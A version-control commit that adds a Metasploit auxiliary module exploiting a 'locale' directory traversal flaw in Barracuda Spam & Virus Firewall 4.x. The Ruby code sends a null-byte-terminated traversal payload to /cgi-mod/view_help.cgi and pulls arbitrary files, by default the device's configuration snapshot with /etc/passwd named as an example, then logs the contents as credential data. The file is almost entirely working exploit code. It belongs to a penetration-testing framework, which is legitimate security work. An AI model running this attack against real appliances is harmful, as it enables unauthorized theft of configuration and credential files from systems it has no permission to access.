add barracuda module from Tiago

git-svn-id: file:///home/svn/framework3/trunk@10627 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/scanner/http/barracuda_directory_traversal.rb

@@ -0,0 +1,98 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'           => 'Barracuda Spam & Virus Firewall "locale" Directory Traversal Vulnerability',
+			'Version'        => '$Revision$',
+			'Description'    => %q{
+					This module exploit a Directory Traversal vulnerability present in
+				Barracuda Spam & Virus Firewall 4.x
+			},
+			'References'     =>
+				[
+					['OSVDB', '68301'],
+					['URL', 'http://secunia.com/advisories/41609/'],
+					['URL', 'http://www.exploit-db.com/exploits/15130/'],
+				],
+			'Author'         =>
+				[
+					'==[ Alligator Security Team ]==',
+					'Tiago Ferreira <tiago.ccna[at]gmail.com>'
+				],
+			'License'        =>  MSF_LICENSE
+		)
+
+		register_options(
+			[
+				Opt::RPORT(8000),
+				OptString.new('FILE', [ true,  "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
+				OptString.new('URI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
+			], self.class)
+	end
+
+	def target_url
+		"http://#{vhost}#{datastore['URI']}:#{rport}"
+	end
+
+	def run_host(ip)
+		uri = datastore['URI']
+		file = datastore['FILE']
+		payload = "?locale=/../../../../../../..#{file}%00"
+
+		print_status("#{target_url} - Barracuda - Checkig if remote server is vulnerable")
+
+		res = send_request_raw({
+			'method'  => 'GET',
+			'uri'     => "#{uri}" + payload,
+		}, 25)
+
+		if (res and res.code == 200)
+			if (res.body.match(/p\>(.*)\<\/p/im).to_s.size > 10)
+				file_data = $1
+				print_good("#{target_url} - Barracuda - Vulnerable")
+				print_good("#{target_url} - Barracuda - File Output: \n" + file_data + "\r\n")
+
+				report_auth_info(
+					:host => rhost,
+					:port => rport,
+					:sname => 'http',
+					:data => file_data,
+					:proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}",
+					:active => true
+				)
+
+				return :next
+
+			elsif res.body =~ /help_page/
+				print_error("#{target_url} - Barracuda - Not Vulnerable")
+			else
+				print_error("#{target_url} - Barracuda - File not found or permission denied")
+			end
+
+		else
+			print_error("#{target_url} - Barracuda - Unrecognized #{res.code} response")
+			return :abort
+		end
+
+	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+	rescue ::Timeout::Error, ::Errno::EPIPE
+	end
+
+end